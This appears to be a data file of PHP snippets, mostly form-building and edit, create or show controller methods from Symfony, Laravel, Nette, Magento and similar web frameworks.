"public function edit(Feedback $feedback):View\n {\n return view('feedback.edit', compact('feedback'));\n }",
"private function createEditForm(GdpMails $entity)\r\n {\r\n $form = $this->createForm(new GdpMailsType(), $entity, array(\r\n 'action' => $this->generateUrl('gdpmails_update', array('id' => $entity->getId())),\r\n 'method' => 'POST',\r\n ));\r\n\r\n $form->add('submit', 'submit', array('label' => 'Update'));\r\n\r\n return $form;\r\n }",
"public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }",
"private function createEditForm(DealerComponent $entity)\n {\n $securityContext = $this->get('security.authorization_checker');\n $dealerType = new DealerComponentType($securityContext);\n $dealerType->setSecurityContext($securityContext);\n $form = $this->createForm($dealerType, $entity, array(\n 'action' => $this->generateUrl('dealercomponent_update', array('id' => $entity->getId())),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"public function create()\n {\n return view('Feedback.create');\n }",
"public function edit(RemedialFeedback $remedialFeedback)\n {\n //\n }",
"public function showAction(Feedback $entity)\n {\n $deleteForm = $this->createDeleteForm($entity);\n\n return $this->render('feedback/show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}",
"private function createEditForm(Compte $entity)\n {\n $form = $this->createForm(new CompteType(), $entity, array(\n 'action' => $this->generateUrl('compte_update', array('id' => $entity->getId())),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Mettre à jour'));\n\n return $form;\n }",
"public function getForm()\n {\n return $this->getLayout()\n ->createBlock('adminhtml/newsletter_template_edit_form')\n ->toHtml();\n }",
"public function create()\n {\n return view('feedback.create');\n }",
"public function create()\n {\n return view('feedback.create');\n }",
"private function createEditForm(Feed $entity)\n {\n $form = $this->createForm(new FeedType($this->getDoctrine()->getManager()), $entity, array(\n 'action' => $this->generateUrl('update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(Functions $entity) {\n $session = $this->get(\"session\");\n $form = $this->createForm(new FunctionsType(), $entity, array(\n 'action' => $this->generateUrl('hall_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n \n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"public function getEditForm();",
"protected function form()\n {\n $form = new Form(new Community);\n\n $form->text('permalink', __('Permalink'));\n $form->text('eyecatch_path', __('Eyecatch path'));\n $form->text('name', __('Name'));\n $form->text('pref', __('Pref'));\n $form->text('information', __('Information'));\n $form->text('image1_path', __('Image1 path'));\n $form->text('image2_path', __('Image2 path'));\n $form->text('image3_path', __('Image3 path'));\n $form->text('video1_link', __('Video1 link'));\n $form->text('video2_link', __('Video2 link'));\n $form->text('video3_link', __('Video3 link'));\n $form->text('calendar', __('calendar'));\n $form->text('message_image_path', __('Message image path'));\n $form->text('message', __('Message'));\n $form->text('contact', __('Contact'));\n $form->text('facebook_link', __('Facebook link'));\n $form->text('instagram_link', __('Instagram link'));\n $form->text('website_link', __('Website link'));\n\n\n return $form;\n }",
"public function createEditSupplierForm()\n\t{\n\t\t$form = $this->createForm();\n\n\t\t$form->addSubmit(\"create\", \"Editovať dodávateľa\")\n\t\t\t->setAttribute('class', 'btn-primary');\n\n\t\t$form->addHidden(\"supplierId\");\n\t\t$form->onSuccess[] = array($this, \"editSupplierSubmitted\");\n\n\t\treturn $form;\n\t}",
"private function createEditForm(Fluidite $entity)\n {\n $form = $this->createForm(new FluiditeType(), $entity, array(\n 'action' => $this->generateUrl('fluidite_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array(\n 'label' => 'Update',\n 'attr' => array(\n 'class' => 'btn ')\n \n ));\n\n return $form;\n }",
"public function actionCreate()\n {\n $model = new FeedbackType();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n \tYii::$app->getSession()->setFlash('success', $model->fkt_form_name.' '.$model->fkt_list_name.' 添加成功,结果将展示在列表。');\n return $this->redirect(['index']);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }",
"private function createEditForm(ActionListe $entity)\n {\n $form = $this->createForm(new ActionListeType(), $entity, array(\n 'action' => $this->generateUrl('actionliste_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Modifier'));\n\n return $form;\n }",
"public function create()\n\t{\n\t\treturn View::make('feedbacks.create');\n\t}",
"private function createEditForm(Achats $entity)\n {\n $form = $this->createForm(new AchatsType(), $entity, array(\n 'action' => $this->generateUrl('achats_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Modifier'));\n\n return $form;\n }",
"private function createEditForm(Link $entity)\n {\n $form = $this->createForm(new LinkType(), $entity, array(\n 'action' => $this->generateUrl('MesdHelpWikiBundle_link_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"public function newAction(Request $request)\n {\n $entity = new Feedback();\n $form = $this->createCreateForm($entity);\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n $em->flush();\n\n // Mostrando mensaje\n $this->get('session')->getFlashBag()->add('success', 'The feedback was created successfully.');\n\n if ($form->get('submitback')->isClicked()) {\n return $this->redirect($this->generateUrl('feedback_new'));\n } else {\n return $this->redirectToRoute('feedback_show', array('id' => $entity->getId()));\n }\n\n }\n\n return $this->render('feedback/new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"private function createEditForm(DemandePermission $entity)\n {\n $form = $this->createForm(new DemandePermissionType(), $entity, array(\n 'action' => $this->generateUrl('demandepermission_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(PIFEClassique $entity)\n {\n $form = $this->createForm(new PIFEClassiqueType(), $entity, array(\n 'action' => $this->generateUrl('pifeclassique_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Mettre à jour'));\n\n return $form;\n }",
"private function createEditForm(DetailsProduits $entity) {\n $form = $this->createForm(new DetailsProduitsType(), $entity, array(\n 'action' => $this->generateUrl('detailsproduits_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(SkBusiness $entity) {\n $form = $this->createForm(new SkBusinessType(), $entity, array(\n 'action' => $this->generateUrl('business_admin_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n// $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"public function getEditForm()\n {\n return $this->getForm($this->banner->getID())\n ->editMode(\n $this->getID(),\n [\n 'timeslots' => $this->getTimeslots(),\n 'effective_from' => CoreUtils::happyTime($this->getEffectiveFrom()),\n 'effective_to' => $this->getEffectiveTo() === null ? null :\n CoreUtils::happyTime($this->getEffectiveTo()),\n 'location' => $this->getLocation(),\n ]\n );\n }",
"private function createEditForm(Bien $entity)\n {\n $form = $this->createForm(new BienType(), $entity, array(\n 'action' => $this->generateUrl('bien_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(DevisSetup $entity)\n {\n $form = $this->createForm(new DevisSetupType(), $entity, array(\n 'action' => $this->generateUrl('devissetup_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(Question $entity) {\n $form = $this->createForm(new QuestionType(), $entity, array(\n 'action' => $this->generateUrl('question_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(Dzialy $entity) {\n $form = $this->createForm(new DzialyType(true), $entity, array(\n 'action' => $this->generateUrl('dzialy_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n \n\n return $form;\n }",
"private function createEditForm(Experience $entity)\n {\n $form = $this->createForm(new ExperienceType(), $entity);\n\n $form->add('submit', 'submit', array('label' => 'Valider'));\n\n return $form;\n }",
"public function edit(enquiryForm $enquiryForm)\n {\n //\n }",
"private function createEditForm(SkIdentificationModule $entity)\n {\n $form = $this->createForm(new SkIdentificationModuleType(), $entity, array(\n 'action' => $this->generateUrl('identification_module_admin_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n // $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"function feedback_form()\r\n{\r\n\tglobal $dropbox_cnf;\r\n\r\n\t$return = get_lang('AddNewFeedback').'<br />';\r\n\r\n\t// we now check if the other users have not delete this document yet. If this is the case then it is useless to see the\r\n\t// add feedback since the other users will never get to see the feedback.\r\n\t$sql=\"SELECT * FROM \".$dropbox_cnf[\"tbl_person\"].\" WHERE file_id='\".Database::escape_string($_GET['id']).\"'\";\r\n\t$result=api_sql_query($sql,__LINE__, __FILE__);\r\n\t$number_users_who_see_file=mysql_num_rows($result);\r\n\tif ($number_users_who_see_file>1)\r\n\t{\r\n\t\t$return .= '<textarea name=\"feedback\" style=\"width: 80%; height: 80px;\"></textarea><br /><input type=\"button\" name=\"store_feedback\" value=\"'.get_lang('Ok').'\" \r\n\t\t\tonclick=\"document.form_tablename.attributes.action.value = document.location;document.form_tablename.submit();\"/>';\r\n\t}\r\n\telse\r\n\t{\r\n\t\t$return .= get_lang('AllUsersHaveDeletedTheFileAndWillNotSeeFeedback');\r\n\t}\r\n\treturn $return;\r\n}",
"private function createEditForm(Inspection $entity)\n {\n $form = $this->createForm(new InspectionType(), $entity, array(\n 'action' => $this->generateUrl('inspection_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Modifier','attr' => array('class' => 'btn btn-default'))); \n\n return $form;\n }",
"function EditProfileForm() {\n\t\t$member = $this->Member();\n\t\t$show_openid = (isset($member->IdentityURL) && !empty($member->IdentityURL));\n\n\t\t$fields = $member ? $member->getForumFields($show_openid) : singleton('Member')->getForumFields($show_openid);\n\t\t$validator = $member ? $member->getForumValidator(false) : singleton('Member')->getForumValidator(false);\n\t\tif($holder = DataObject::get_one('ForumHolder', \"\\\"DisplaySignatures\\\" = '1'\")) {\n\t\t\t$fields->push(new TextareaField('Signature', 'Forum Signature'));\n\t\t}\n\n\t\t$form = new Form($this, 'EditProfileForm', $fields,\n\t\t\tnew FieldList(new FormAction(\"dosave\", _t('ForumMemberProfile.SAVECHANGES','Save changes'))),\n\t\t\t$validator\n\t\t);\n\n\t\tif($member && $member->hasMethod('canEdit') && $member->canEdit()) {\n\t\t\t$member->Password = '';\n\t\t\t$form->loadDataFrom($member);\n\t\t\treturn $form;\n\t\t}\n\n\t\treturn null;\n\t}",
"public function Form()\n {\n $svc = singleton(WorkflowService::class);\n $active = $svc->getWorkflowFor($this->getContextObject());\n\n if (!$active) {\n return;\n //throw new Exception('Workflow not found, or not specified for Context Object');\n }\n\n $wfFields = $active->getFrontEndWorkflowFields();\n $wfActions = $active->getFrontEndWorkflowActions();\n $wfValidator = $active->getFrontEndRequiredFields();\n\n //Get DataObject for Form (falls back to ContextObject if not defined in WorkflowAction)\n $wfDataObject = $active->getFrontEndDataObject();\n\n // set any requirements spcific to this contextobject\n $active->setFrontendFormRequirements();\n\n // hooks for decorators\n $this->extend('updateFrontEndWorkflowFields', $wfFields);\n $this->extend('updateFrontEndWorkflowActions', $wfActions);\n $this->extend('updateFrontEndRequiredFields', $wfValidator);\n $this->extend('updateFrontendFormRequirements');\n\n $form = new FrontendWorkflowForm($this, 'Form/' . $this->getContextID(), $wfFields, $wfActions, $wfValidator);\n\n $form->addExtraClass(\"fwf\");\n\n if ($wfDataObject) {\n $form->loadDataFrom($wfDataObject);\n }\n\n return $form;\n }",
"public function editForm() {\n return tpl::load(__DIR__ . DS . 'form.php', array('field' => $this));\n }",
"private function createEditForm(Fileops $entity)\n {\n $form = $this->createForm(new FileopsType(), $entity, array(\n 'action' => $this->generateUrl('fileops_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"public function newCommentAction($feedback_id)\n\t{\n\t\t$feedback = $this->em->getRepository('DeskPRO:Feedback')->find($feedback_id);\n\t\tif (!$feedback) {\n\t\t\treturn $this->renderStandardError('@user.feedback.feedback_not_found', '@user.error.not-found', 404);\n\t\t}\n\n\t\t// Perm check\n\t\tif (!$this->person->PermissionsManager->UserPublishChecker->canViewFeedback($feedback)) {\n\t\t\treturn $this->renderLoginOrPermissionError();\n\t\t}\n\n\t\tif ($feedback->getStatus() == 'closed') {\n\t\t\treturn $this->renderStandardError('@user.feedback.voting_closed', '@user.feedback.voting_closed-explain');\n\t\t}\n\n\t\t$new_comment = new \\Application\\DeskPRO\\Comments\\NewComment(\n\t\t\t'Application\\\\DeskPRO\\\\Entity\\\\FeedbackComment',\n\t\t\t$this->person,\n\t\t\tarray('feedback' => $feedback)\n\t\t);\n\n\t\t$newcomment_formtype = new NewCommentFormType($this->person);\n\t\t$form = $this->get('form.factory')->create($newcomment_formtype, $new_comment);\n\t\t$validator = new \\Application\\UserBundle\\Validator\\NewCommentValidator();\n\t\t$validator->setPersonContext($this->person);\n\n\t\tif ($this->get('request')->getMethod() == 'POST') {\n\n\t\t\t$trap_fail = false;\n\t\t\tif (!empty($_POST['first_name']) || !empty($_POST['last_name']) || !empty($_POST['email'])) {\n\t\t\t\t$trap_fail = true;\n\t\t\t}\n\n\t\t\tif (!$this->consumeRequest('newcomment_feedback') || $trap_fail) {\n\t\t\t\treturn $this->redirectRoute('user_feedback_view', array(\n\t\t\t\t\t'slug' => $feedback->getUrlSlug(),\n\t\t\t\t));\n\t\t\t}\n\n\t\t\t$form->bindRequest($this->get('request'));\n\n\t\t\tif (!$validator->isValid($new_comment)) {\n\t\t\t\t$this->session->setFlash('comment_error', $validator->getErrors(true));\n\t\t\t\treturn $this->redirectRoute('user_feedback_view', array(\n\t\t\t\t\t'slug' => $feedback->getUrlSlug(),\n\t\t\t\t));\n\t\t\t}\n\n\t\t\tif ($form->isValid() && !$validator->checkDupe($new_comment)) {\n\t\t\t\t$comment = $new_comment->save();\n\n\t\t\t\tApp::setSkipCache(true);\n\n\t\t\t\tif ($new_comment->require_login) {\n\t\t\t\t\treturn $this->redirectRoute('user_newcomment_finishlogin', array(\n\t\t\t\t\t\t'comment_type' => 'feedback',\n\t\t\t\t\t\t'comment_id' => $comment->id,\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $this->viewFeedback($feedback);\n\t\t}\n\n\t\treturn $this->redirectRoute('user_feedback_view', array(\n\t\t\t'slug' => $feedback->getUrlSlug(),\n\t\t));\n\t}",
"public function editAction()\r\n\t{\r\n\t\t$id = $this->getRequest()->getParam('faq_id');\r\n\t\t$model = Mage::getModel('flagbit_faq/faq');\r\n\t\t\r\n\t\t// if current id given -> try to load and edit current FAQ item\r\n\t\tif ($id) {\r\n\t\t\t$model->load($id);\r\n\t\t\tif (!$model->getId()) {\r\n\t\t\t\tMage::getSingleton('adminhtml/session')->addError(\r\n\t\t\t\t\tMage::helper('flagbit_faq')->__('This FAQ item no longer exists')\r\n\t\t\t\t);\r\n\t\t\t\t$this->_redirect('*/*/');\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t$data = Mage::getSingleton('adminhtml/session')->getFormData(true);\r\n\t\tif (!empty($data)) {\r\n\t\t\t$model->setData($data);\r\n\t\t}\r\n\t\t\r\n\t\tMage::register('faq', $model);\r\n\t\t\r\n\t\t$this->_initAction()\r\n\t\t\t\t->_addBreadcrumb(\r\n\t\t\t\t\t$id\r\n\t\t\t\t\t\t? Mage::helper('flagbit_faq')->__('Edit FAQ Item')\r\n\t\t\t\t\t\t: Mage::helper('flagbit_faq')->__('New FAQ Item'),\r\n\t\t\t\t\t$id\r\n\t\t\t\t\t\t? Mage::helper('flagbit_faq')->__('Edit FAQ Item')\r\n\t\t\t\t\t\t: Mage::helper('flagbit_faq')->__('New FAQ Item')\r\n\t\t\t\t)\r\n\t\t\t\t->_addContent(\r\n\t\t\t\t\t\t$this->getLayout()\r\n\t\t\t\t\t\t\t\t->createBlock('flagbit_faq/adminhtml_item_edit')\r\n\t\t\t\t\t\t\t\t->setData('action', $this->getUrl('adminhtml/faq/save'))\r\n\t\t\t\t)\r\n\t\t\t\t->_addLeft($this->getLayout()->createBlock('flagbit_faq/adminhtml_item_edit_tabs'));\r\n\t\t\r\n\t\t$this->renderLayout();\r\n\t}",
"private function createEditForm(IntrestConfig $entity) {\n\t\t$form = $this->createForm(new IntrestConfigType(), $entity, array(\n\t\t\t'action' => $this->generateUrl('member_intrestconfig_update', array('id' => $entity->getId())),\n\t\t\t'method' => 'PUT',\n\t\t));\n\n\t\t$form->add('submit', 'submit', array('label' => 'Update'));\n\n\t\treturn $form;\n\t}",
"private function createEditForm(EntradaDetalles $entity)\n {\n $form = $this->createForm(new EntradaDetallesType(), $entity, array(\n 'action' => '',\n 'method' => 'PUT',\n 'mostrar_campo_articulo' => false,\n ));\n\n $form->add('submit', 'submit', array('label' => 'Actualizar', 'icon' => 'floppy-disk', 'attr' => array('class' => 'btn-primary')));\n\n return $form;\n }",
"private function createEditForm(Notice $entity)\n {\n $form = $this->createForm(new NoticeType(), $entity, array(\n 'action' => $this->generateUrl('_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n $form->add('end');\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(Cosecha $entity)\n {\n $form = $this->createForm(new CosechaType(), $entity, array(\n 'action' => $this->generateUrl('cosecha_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"protected function createComponentEditForm() {\r\n\t\t$form = new Form;\r\n\t\t$form->getElementPrototype()->class(\"formWide\");\r\n\t\t$options = array(0 => \"Default\", 1 => \"Odkaz na obsah\", 3 => \"Odkaz na položku menu\");\r\n\t\t// easy way how to create url slug\r\n\t\t$form->addText(\"title\", \"Název:\")\r\n\t\t\t\t->setAttribute('onchange', '\r\n\t\t\t\t\t\t\tvar nodiac = { \"á\": \"a\", \"č\": \"c\", \"ď\": \"d\", \"é\": \"e\", \"ě\": \"e\", \"í\": \"i\", \"ň\": \"n\", \"ó\": \"o\", \"ř\": \"r\", \"š\": \"s\", \"ť\": \"t\", \"ú\": \"u\", \"ů\": \"u\", \"ý\": \"y\", \"ž\": \"z\" };\r\n\t\t\t\t\t\t\ts = $(\"#frmeditForm-title\").val().toLowerCase();\r\n\t\t\t\t\t\t\tvar s2 = \"\";\r\n\t\t\t\t\t\t\tfor (var i=0; i < s.length; i++) {\r\n\t\t\t\t\t\t\t\ts2 += (typeof nodiac[s.charAt(i)] != \"undefined\" ? nodiac[s.charAt(i)] : s.charAt(i));\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tresult=s2.replace(/[^a-z0-9_]+/g, \"-\").replace(/^-|-$/g, \"\");\r\n\t\t\t\t\t\t\t$(\"#frmeditForm-url\").val(result);\r\n\t\t\t\t\t\t');\r\n\t\t$form->addText(\"url\", \"url:\")->setAttribute(\"readonly\", \"readonly\");\r\n\t\tif (!$this->onlyTree) {\r\n\t\t\t$form->addSelect(\"target_type\", \"Cíl:\", $options);\r\n\t\t\t$content = $this->prepareContentSelectBox();\r\n\t\t\t$menuContent = $this->prepareMenuContentSelectBox();\r\n\t\t\t$form->addSelect(\"target_id\", \"Odkazovaný obsah:\", $content)->setPrompt(\"Pouze při zvolení výše\");\r\n\t\t\t$form->addSelect(\"target_menu\", \"Odk. položka menu:\", $menuContent)->setPrompt(\"Pouze při zvolení výše\");\r\n\t\t}\r\n\t\t$form->addHidden(\"parent_id\", $this->parent_id);\r\n\t\t$form->addHidden(\"edit_id\", $this->edit_id);\r\n\t\t//filling form\r\n\t\tif ($this->edit_id or $this->edit_id === \"0\") {\r\n\t\t\t$defFromDb = $this->closureModel->getItemById($this->edit_id);\r\n\t\t\t$defaults = new \\Nette\\ArrayHash;\r\n\t\t\tforeach ($defFromDb as $key => $value) {\r\n\t\t\t\t$defaults->$key = $value;\r\n\t\t\t}\r\n\t\t\tif ($this->edit_id === \"0\") {\r\n\t\t\t\t$form[\"title\"]->setDisabled();\r\n\t\t\t}\r\n\t\t\tif (!$this->onlyTree) {\r\n\t\t\t\t$t = $defaults->target;\r\n\t\t\t\tif (!Validators::isNumericInt($t)) {\r\n\t\t\t\t\t$menuItem = $this->checkTargetMenuItemExists($t);\r\n\t\t\t\t\tif ($menuItem) {\r\n\t\t\t\t\t\t$defaults->target_type = 3;\r\n\t\t\t\t\t\t$defaults->target_menu = $menuItem;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$contentId = $this->checkTargetContentExists($t);\r\n\t\t\t\t\t\t$defaults->target_type = 1;\r\n\t\t\t\t\t\t$defaults->target_id = $contentId;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$form[\"target_menu\"]->getControlPrototype()->addClass(\"formFieldInvisible\");\r\n\t\t\t\t} elseif ($t <= 0) {\r\n\t\t\t\t\t$defaults->target_type = 0;\r\n\t\t\t\t\t$form[\"target_menu\"]->getControlPrototype()->addClass(\"formFieldInvisible\");\r\n\t\t\t\t\t$form[\"target_id\"]->getControlPrototype()->addClass(\"formFieldInvisible\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$defaults->target = null;\r\n\t\t\t$form->setDefaults($defaults);\r\n\t\t}\r\n\r\n\t\t$form->addSubmit('save', 'Save')\r\n\t\t\t\t\t\t->setAttribute('onclick', '$(\"#frmeditForm-title\").trigger(\"change\")')\r\n\t\t\t\t->onClick[] = callback($this, 'editFormSubmitted');\r\n\t\t$form->setRenderer(new \\Kdyby\\BootstrapFormRenderer\\BootstrapRenderer());\r\n\t\treturn $form;\r\n\t}",
"private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }",
"public function editContactAction() {\n $aGetData = $this->getRequest()->getQuery();\n $id = $aGetData['id'];\n\n /*\n * Verifico si me llega un ID por POST\n */\n if (!$id) {\n $aPostData = $this->getRequest()->getPost();\n $id = $aPostData['id'];\n }\n\n /*\n * En el caso de que este el ID, busco el registro en la DB\n * En el caso que ID este null, creo un nuevo objeto\n */\n if ($id) {\n $object = $this->getEntityManager()->getRepository('Iem\\Entity\\Contact')->find($id);\n $new = false;\n } else {\n $object = new \\Iem\\Entity\\Contact();\n $new = true;\n }\n\n /*\n * Declar el Formulario\n * Defino el Hidratador de Doctrine\n * Hago el Bind entre el Formulario y el objeto\n */\n $form = new \\Iem\\Form\\Contact($this->getEntityManager());\n $form->setHydrator(new \\DoctrineModule\\Stdlib\\Hydrator\\DoctrineObject($this->getEntityManager()));\n $form->bind($object);\n\n /*\n * Verifico el Post, valido formulario y persisto en caso positivo\n */\n if ($this->getRequest()->isPost()) {\n $form->setData($this->getRequest()->getPost());\n\n $form->setInputFilter($object->getInputFilter());\n if ($form->isValid()) {\n\n if ($this->zfcUserAuthentication()->hasIdentity()) {\n $user = $this->zfcUserAuthentication()->getIdentity();\n }\n\n if ($new) {\n $object->setCreatedBy($user);\n $object->setLastUpdatedBy($user);\n } else {\n $object->setLastUpdatedBy($user);\n }\n\n\n $this->getEntityManager()->persist($object);\n $this->getEntityManager()->flush();\n $form->bind($object);\n $persist = true;\n } else {\n $persist = false;\n }\n }\n\n /*\n * Paso la variable persist a la view\n * Defino terminal true para no renderizar el layout (ajax)\n */\n $view = new ViewModel(array('form' => $form,\n 'persist' => $persist));\n $view->setTerminal(true);\n return $view;\n }",
"public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }",
"protected function createComponentEditTaskForm() {\r\n\r\n $form = new UI\\Form;\r\n\r\n $form->getElementPrototype()->novalidate = 'novalidate';\r\n\r\n $form->addText('name', 'Task name:')\r\n ->setRequired('Please provide a task name.');\r\n\r\n $form->addTextArea('description', 'Description:');\r\n\r\n $form->addText('deadline', 'Deadline')->setOption('description', 'Use format: YYYY-MM-DD')\r\n ->addCondition(UI\\Form::FILLED)\r\n ->addRule(UI\\Form::PATTERN, 'Může být v rozmezí 2011-01-01 až 2019-12-31', '^(20)\\d\\d[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])$');\r\n\r\n $form->addRadioList('priority', 'Priority', array(\r\n '1' => '1',\r\n '2' => '2',\r\n '3' => '3',\r\n '0' => 'bez priority'\r\n ));\r\n\r\n $result = dibi::query('SELECT idcategory, name FROM `categories` WHERE iduser = %i', $this->getUser()->getId())->fetchPairs('idcategory', 'name');\r\n\r\n $form->addRadioList('idcategory', 'Category', $result)\r\n ->setRequired('Please select category.');\r\n\r\n $status = array(\r\n 'nedokončeno' => 'nedokončeno',\r\n 'odloženo' => 'odloženo',\r\n 'dokončeno' => 'dokončeno',\r\n );\r\n $form->addRadioList('status', 'Status', $status)\r\n ->setRequired('Please select status.');\r\n\r\n $form->addHidden('idtask');\r\n\r\n $form->addSubmit('editTask', 'Edit Task');\r\n\r\n $form->onSuccess[] = callback($this, 'EditTaskFormSubmitted');\r\n\r\n $task = dibi::query('SELECT * FROM `tasks` WHERE idtask = %i', $this->getParam('id'))->fetch();\r\n\r\n if ($task->deadline == \"0000-00-00\")\r\n $task->deadline = \"\";\r\n\r\n $form->setDefaults(array(\r\n 'name' => $task->name,\r\n 'description' => $task->description,\r\n 'deadline' => $task->deadline,\r\n 'status' => $task->status,\r\n 'priority' => $task->priority,\r\n 'idcategory' => $task->idcategory,\r\n 'idtask' => $task->idtask,\r\n ));\r\n\r\n return $form;\r\n }",
"private function createEditForm(Acc $entity)\n {\n $form = $this->createForm(new AccType(), $entity, array(\n 'action' => $this->generateUrl('acc_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(SkBusiness $entity) {\n $form = $this->createForm(new SkBusinessSettingsType($entity), $entity, array(\n 'action' => $this->generateUrl('business_settings_admin_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n// $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(EventRegistration $entity)\n { \n $form = $this->createForm(new EventRegistrationEditType(), $entity, array(\n 'action' => $this->generateUrl('eventregistration_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n $cats = array();\n foreach ($entity->getMovieCategories() as $cat) {\n $cats[] = $cat->getCategory();\n }\n $form->get('moviecategories')->setData($cats);\n\n $form->add('submit', 'submit', array('label' => 'Mentés'));\n\n return $form;\n }",
"private function createEditForm(Partner $entity)\n {\n $form = $this->createForm(new PartnerType(), $entity, array(\n 'action' => $this->generateUrl('admin_partners_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array(\n 'label' => 'Modifier',\n 'attr' => array(\n 'class' => 'btn btn-warning'\n )));\n\n return $form;\n }",
"public function display_edit_form(){\n echo \"<form action='../../Controllers/charity_controller.class.php?action=update' method='post'>\";\n echo \"<input type='hidden' name='id' value=\".$this->id.\" />\";\n echo \"Name: <input type='text' name='name' value=\".$this->name.\" /><br />\";\n echo \"Description: <textarea name='description'>\".$this->description.\"</textarea><br />\";\n echo \"<input type='submit' value='Update' />\";\n echo \"</form>\";\n }",
"protected function form()\n {\n return new Form(new Attention);\n }",
"private function createEditForm(Estadofondo $entity)\n {\n $form = $this->createForm(new EstadofondoType(), $entity, array(\n 'action' => $this->generateUrl('estadofondo_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(Area $entity)\n {\n $form = $this->createForm(new AreaType(), $entity, array(\n 'action' => $this->generateUrl('area_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n// $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"public function edit(Form $form)\n {\n //\n }",
"public function create()\n {\n return view('admin.features.create_edit');\n }",
